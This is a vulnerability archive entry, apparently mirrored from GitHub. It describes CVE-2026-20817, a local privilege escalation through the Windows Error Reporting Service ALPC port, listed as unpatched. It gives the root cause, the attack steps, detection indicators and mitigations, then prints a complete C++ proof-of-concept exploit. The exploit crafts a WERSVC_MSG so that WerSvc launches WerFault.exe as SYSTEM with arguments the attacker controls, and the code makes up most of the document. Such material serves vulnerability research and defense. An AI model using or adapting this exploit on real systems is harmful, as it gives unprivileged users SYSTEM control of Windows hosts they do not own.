PoC Archive PoC Archive
High CVE-2026-20817 unpatched

Windows Error Reporting Service ALPC Local Privilege Escalation (CVE-2026-20817)

by dwgth4i · 2026-07-05

Severity
High
CVE
CVE-2026-20817
Category
binary
Affected product
Windows Error Reporting Service (WerSvc)
Affected versions
Windows builds where WerSvc exposes the \WindowsErrorReportingServicePort ALPC port to unprivileged callers
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherdwgth4i
CVE / AdvisoryCVE-2026-20817
Categorybinary
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagswindows, wersvc, alpc, lpe, privilege-escalation, ntdll, system32, native-cpp
RelatedN/A

Affected Target

FieldValue
Software / SystemWindows Error Reporting Service (WerSvc)
Versions AffectedWindows builds where WerSvc exposes the \WindowsErrorReportingServicePort ALPC port to unprivileged callers
Language / PlatformC++ (PoC); Windows / ntdll ALPC APIs
Authentication RequiredLocal-only (any authenticated low-privilege user)
Network Access RequiredNo

Summary

CVE-2026-20817 abuses an ALPC-based elevation primitive in the Windows Error Reporting Service. WerSvc listens on the \WindowsErrorReportingServicePort ALPC port and, upon receiving a specially crafted WERSVC_MSG request with the SvcElevatedLaunch message flag set, spawns WerFault.exe as SYSTEM using a command line the caller controls through a shared file mapping. Because the service does not adequately restrict who can supply this elevated-launch command line, a low-integrity or medium-integrity local process can connect to the port, hand over a file-mapping handle containing an attacker-chosen command-line string, and cause WerSvc to elevate and execute WerFault.exe with that string as SYSTEM. The included PoC resolves the necessary native ALPC APIs, builds a correctly sized WERSVC_MSG structure matching the service’s expected struct layout, and sends it over the port to trigger the elevated launch.


Vulnerability Details

Root Cause

WerSvc’s ALPC message handler for the SvcElevatedLaunch case (message flags 0x50000000) reads a command-line string from a caller-supplied file-mapping handle and passes it — without adequate authorization checks on the mapping’s contents — to a routine that spawns WerFault.exe as SYSTEM. The PoC reverse engineers the exact WERSVC_MSG struct layout (offsets for MessageFlags, LastError, FileMapping, SourceHandles, HandleCount, NewProcessHandle, totalling 0x578 bytes) required for the server to accept the message as a valid elevated-launch request.

Attack Vector

  1. Attacker process resolves NtAlpcConnectPort / NtAlpcSendWaitReceivePort from ntdll.dll.
  2. Attacker creates a shared file mapping of 0x208 bytes and writes an attacker-controlled command-line argument string (e.g., appended to WerFault.exe) into it.
  3. Attacker connects to the \WindowsErrorReportingServicePort ALPC port with port attributes matching WerSvc’s expected MaxMessageLength (0x578).
  4. Attacker builds a WERSVC_MSG with MessageFlags = 0x50000000, Unknown = 1, and FileMapping set to the shared mapping handle, then sends it via NtAlpcSendWaitReceivePort.
  5. WerSvc reads the command line from the mapping and launches WerFault.exe as SYSTEM with the attacker-supplied arguments, returning a handle to the new SYSTEM process to the caller.

Impact

A local low-privilege user can obtain a SYSTEM-level process handle, achieving local privilege escalation to SYSTEM on affected Windows hosts.


Environment / Lab Setup

Target:   Windows 10/11 host with WerSvc running and its ALPC port reachable from a standard user session
Attacker: Windows build environment (MSVC/cl.exe or Visual Studio) linking ntdll.lib and advapi32.lib to compile poc.cpp

Proof of Concept

PoC Script

See poc.cpp and ntalpcapi.h in this folder.

1
2
cl.exe poc.cpp /link ntdll.lib advapi32.lib
poc.exe

The compiled binary resolves the ALPC functions, prints the caller’s current integrity level/user, builds the shared file mapping containing the injected command-line payload, connects to the WerSvc ALPC port, sends the crafted WERSVC_MSG, and then inspects the returned process handle’s token to confirm it was spawned as SYSTEM.


Detection & Indicators of Compromise

Signs of compromise:

  • WerFault.exe launched as SYSTEM with an unexpected or attacker-supplied command line.
  • A low-privilege process holding an open handle to a newly spawned SYSTEM-level process.
  • Unusual NtAlpcConnectPort activity targeting \WindowsErrorReportingServicePort from user-mode applications that are not part of the normal WER pipeline.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationRestrict which local users/processes can reach WerSvc’s ALPC port (e.g., via AppLocker/WDAC and least-privilege interactive sessions); monitor for anomalous WerFault.exe SYSTEM launches.

References


Notes

Mirrored from https://github.com/dwgth4i/CVE-2026-20817 on 2026-07-05.

poc.cpp
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#include "ntalpcapi.h"

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "advapi32.lib")

typedef NTSTATUS (NTAPI* pfnNtAlpcConnectPort)(
    _Out_     PHANDLE             PortHandle,
    _In_      PUNICODE_STRING     PortName,
    _In_opt_  POBJECT_ATTRIBUTES  ObjectAttributes,
    _In_opt_  PVOID               PortAttributes,   // PALPC_PORT_ATTRIBUTES
    _In_      ULONG               Flags,
    _In_opt_  PSID                RequiredServerSid,
    _Inout_opt_ PVOID             ConnectionMessage, // PORT_MESSAGE*
    _Inout_opt_ PULONG            BufferLength,
    _In_opt_  PVOID               OutMessageAttributes,
    _In_opt_  PVOID               InMessageAttributes,
    _In_opt_  PLARGE_INTEGER      Timeout
);

typedef NTSTATUS (NTAPI* pfnNtAlpcSendWaitReceivePort)(
    _In_      HANDLE              PortHandle,
    _In_      ULONG               Flags,
    _In_opt_  PVOID               SendMessage,       // PORT_MESSAGE*
    _Inout_opt_ PVOID             SendMessageAttributes,
    _Out_opt_ PVOID               ReceiveMessage,    // PORT_MESSAGE*
    _Inout_opt_ PULONG            BufferLength,
    _Out_opt_ PVOID               ReceiveMessageAttributes,
    _In_opt_  PLARGE_INTEGER      Timeout
);


#pragma pack(push, 1)
typedef struct _WERSVC_MSG {
    PORT_MESSAGE  PortMessage;          // +0x00  0x28 bytes
    DWORD         MessageFlags;         // +0x28
    DWORD         LastError;            // +0x2C  output
    DWORD         Unknown;              // +0x30  must == 1
    DWORD         pad_34;               // +0x34  padding alignment
    HANDLE        FileMapping;          // +0x38
    HANDLE        SourceHandles[16];    // +0x40
    DWORD         HandleCount;          // +0xC0
    DWORD         pad_C4;               // +0xC4  another padding alignment lol
    HANDLE        NewProcessHandle;     // +0xC8  output
    BYTE          Padding[0x4A8];       // +0xD0
} WERSVC_MSG, *PWERSVC_MSG;
#pragma pack(pop)

static_assert(sizeof(WERSVC_MSG) == 0x578, "WERSVC_MSG size mismatch");

static pfnNtAlpcConnectPort        pNtAlpcConnectPort        = nullptr;
static pfnNtAlpcSendWaitReceivePort pNtAlpcSendWaitReceivePort = nullptr;

static BOOL LoadNtFunctions()
{
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) return FALSE;

    pNtAlpcConnectPort = (pfnNtAlpcConnectPort)
        GetProcAddress(hNtdll, "NtAlpcConnectPort");
    pNtAlpcSendWaitReceivePort = (pfnNtAlpcSendWaitReceivePort)
        GetProcAddress(hNtdll, "NtAlpcSendWaitReceivePort");

    return pNtAlpcConnectPort && pNtAlpcSendWaitReceivePort;
}

static HANDLE CreateCmdlineMapping(const wchar_t* args)
{
    // Server maps 0x208 bytes (260 wchars) — match that size
    HANDLE hMap = CreateFileMappingW(
        INVALID_HANDLE_VALUE,
        NULL,
        PAGE_READWRITE,
        0, 0x208,
        NULL
    );
    if (!hMap) return NULL;

    void* pView = MapViewOfFile(hMap, FILE_MAP_WRITE, 0, 0, 0x208);
    if (!pView) {
        CloseHandle(hMap);
        return NULL;
    }

    // Zero the first 0x208 bytes, then copy args — server reads WCHAR[260]
    memset(pView, 0, 0x208);
    wcsncpy_s((wchar_t*)pView, 260, args, _TRUNCATE);

    UnmapViewOfFile(pView);
    return hMap;  // keep handle open until after ALPC send, server needs to read the content
}

// ── output helpers ────────────────────────────────────────────────────────────

#define OK(fmt, ...)   printf("  [+] " fmt "\n", ##__VA_ARGS__)
#define ERR(fmt, ...)  printf("  [-] " fmt "\n", ##__VA_ARGS__)
#define INF(fmt, ...)  printf("  [*] " fmt "\n", ##__VA_ARGS__)
#define HDR(fmt, ...)  printf("\n[ " fmt " ]\n", ##__VA_ARGS__)

static void PrintBanner()
{
    printf(
        "\n"
        "  CVE-2026-20817 - WerSvc EoP PoC by dwgth4i\n"
        "  WerSvc ALPC SvcElevatedLaunch primitive\n"
        "  low-priv → SYSTEM via controlled WerFault.exe cmdline\n"
        "  --------------------------------------------------------\n"
    );
}

static void PrintSelfContext()
{
    HANDLE hToken = NULL;
    OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);

    // integrity
    DWORD dwLen = 0;
    GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLen);
    PTOKEN_MANDATORY_LABEL pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, dwLen);
    GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLen, &dwLen);
    DWORD dwRID = *GetSidSubAuthority(pTIL->Label.Sid,
                    *GetSidSubAuthorityCount(pTIL->Label.Sid) - 1);
    const char* szInteg = dwRID >= 0x4000 ? "System"
                        : dwRID >= 0x3000 ? "High"
                        : dwRID >= 0x2000 ? "Medium"
                        : "Low";
    LocalFree(pTIL);

    // username
    WCHAR szUser[256] = {}; WCHAR szDomain[256] = {};
    DWORD uLen = 256, dLen = 256;
    SID_NAME_USE snu;
    BYTE sidBuf[SECURITY_MAX_SID_SIZE];
    DWORD sidLen = sizeof(sidBuf);
    GetTokenInformation(hToken, TokenUser, sidBuf, sidLen, &sidLen);
    PTOKEN_USER pTU = (PTOKEN_USER)sidBuf;
    LookupAccountSidW(NULL, pTU->User.Sid, szUser, &uLen, szDomain, &dLen, &snu);

    INF("Caller   : %S\\%S  [%s]  PID %lu",
        szDomain, szUser, szInteg, GetCurrentProcessId());
    CloseHandle(hToken);
}

static void printResult(NTSTATUS status, const WERSVC_MSG* recv,
                             const wchar_t* cmdArgs)
{
    HDR("ALPC send result");

    if (status < 0) {
        ERR("NtAlpcSendWaitReceivePort  NTSTATUS 0x%08X", (DWORD)status);
        return;
    }

    OK("NtAlpcSendWaitReceivePort  NTSTATUS 0x%08X", (DWORD)status);

    const char* szResp = "unknown";
    switch (recv->MessageFlags) {
        case 0x50000001: szResp = "SUCCESS (ElevatedProcessStart ok)"; break;
        case 0x50000002: szResp = "FAILED  (ElevatedProcessStart err)"; break;
    }
    INF("Response flags   : 0x%08X  %s", recv->MessageFlags, szResp);

    if (recv->LastError)
        ERR("Server LastError : 0x%08X", recv->LastError);

    if (recv->NewProcessHandle) {
        OK("NewProcessHandle : %p", recv->NewProcessHandle);

        // query the spawned process for user/integrity confirmation
        HANDLE hProc = recv->NewProcessHandle;
        HANDLE hTok  = NULL;
        if (OpenProcessToken(hProc, TOKEN_QUERY, &hTok)) {
            DWORD dwLen2 = 0;
            GetTokenInformation(hTok, TokenIntegrityLevel, NULL, 0, &dwLen2);
            PTOKEN_MANDATORY_LABEL pL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, dwLen2);
            GetTokenInformation(hTok, TokenIntegrityLevel, pL, dwLen2, &dwLen2);
            DWORD rid = *GetSidSubAuthority(pL->Label.Sid,
                          *GetSidSubAuthorityCount(pL->Label.Sid) - 1);
            const char* szI = rid >= 0x4000 ? "System"
                            : rid >= 0x3000 ? "High" : "Medium";
            LocalFree(pL);

            WCHAR u[256]={}, d[256]={};
            DWORD ul=256, dl=256; SID_NAME_USE s;
            BYTE sb[SECURITY_MAX_SID_SIZE]; DWORD sl=sizeof(sb);
            GetTokenInformation(hTok, TokenUser, sb, sl, &sl);
            LookupAccountSidW(NULL, ((PTOKEN_USER)sb)->User.Sid, u, &ul, d, &dl, &s);
            CloseHandle(hTok);

            OK("Spawned process  : %S\\%S  [%s]", d, u, szI);
        }
    }

    INF("Cmdline injection: \"C:\\Windows\\System32\\WerFault.exe\" %S", cmdArgs);
}

int main()
{
    PrintBanner();

    HDR("loading Nt functions");
    if (!LoadNtFunctions()) { ERR("resolve failed"); return 1; }
    OK("NtAlpcConnectPort / NtAlpcSendWaitReceivePort resolved");

    HDR("caller context");
    PrintSelfContext();

    const wchar_t* cmdArgs = L"duongdeptrai123";

    HDR("creating FileMapping");
    HANDLE hFileMap = CreateCmdlineMapping(cmdArgs);
    if (!hFileMap) { ERR("CreateFileMappingW  GLE %lu", GetLastError()); return 1; }
    OK("FileMapping handle : %p", hFileMap);
    INF("Payload            : %S", cmdArgs);

    HDR("connecting to ALPC port");
    UNICODE_STRING portName;
    RtlInitUnicodeString(&portName, L"\\WindowsErrorReportingServicePort");
    INF("Port : %wZ", &portName);


    ALPC_PORT_ATTRIBUTES portAttribs = {};
    portAttribs.Flags             = 0x10000; // ALPC_PORFLG_ALLOW_LPC_REQUESTS
    portAttribs.MaxMessageLength  = 0x578;   // match WerSvc's expected size
    portAttribs.SecurityQos.Length              = sizeof(SECURITY_QUALITY_OF_SERVICE);
    portAttribs.SecurityQos.ImpersonationLevel  = SecurityImpersonation;
    portAttribs.SecurityQos.EffectiveOnly       = TRUE;

    INF("MaxMessageLength : 0x%zX", portAttribs.MaxMessageLength);
    INF("Flags            : 0x%08X", portAttribs.Flags);


    HANDLE hPort = NULL;
    NTSTATUS st = pNtAlpcConnectPort(
        &hPort,
        &portName,
        NULL,           // ObjectAttributes
        &portAttribs,   // PortAttributes — was NULL before
        0x20000,        // Flags
        NULL,           // RequiredServerSid
        NULL,           // ConnectionMessage
        NULL,           // BufferLength
        NULL,           // OutMessageAttributes
        NULL,           // InMessageAttributes
        NULL            // Timeout
    );
    if (st < 0) {
        ERR("NtAlpcConnectPort  NTSTATUS 0x%08X", (DWORD)st);
        CloseHandle(hFileMap); return 1;
    }
    OK("Port handle : %p", hPort);

    HDR("building WERSVC_MSG");
    WERSVC_MSG msgSend = {};
    msgSend.PortMessage.u1.s1.TotalLength = sizeof(WERSVC_MSG);
    msgSend.PortMessage.u1.s1.DataLength  = sizeof(WERSVC_MSG) - sizeof(PORT_MESSAGE);
    msgSend.MessageFlags = 0x50000000;
    msgSend.Unknown      = 1;
    msgSend.FileMapping  = hFileMap;
    msgSend.HandleCount  = 0;
    INF("TotalLength  : 0x%04X", msgSend.PortMessage.u1.s1.TotalLength);
    INF("DataLength   : 0x%04X", msgSend.PortMessage.u1.s1.DataLength);
    INF("MessageFlags : 0x%08X    DispatchPortRequestWorkItem case SvcElevatedLaunch", msgSend.MessageFlags);
    INF("Unknown      : %lu         ElevatedProcessStart gate", msgSend.Unknown);
    INF("FileMapping  : %p", msgSend.FileMapping);
    OK("message ready");

    HDR("sending ALPC message");
    WERSVC_MSG msgRecv = {};
    ULONG recvLen = sizeof(WERSVC_MSG);
    st = pNtAlpcSendWaitReceivePort(hPort, 0x20000,
            &msgSend, NULL, &msgRecv, &recvLen, NULL, NULL);

    printResult(st, &msgRecv, cmdArgs);

    NtClose(hPort);
    CloseHandle(hFileMap);

    printf("\n");
    return (st < 0) ? 1 : 0;
}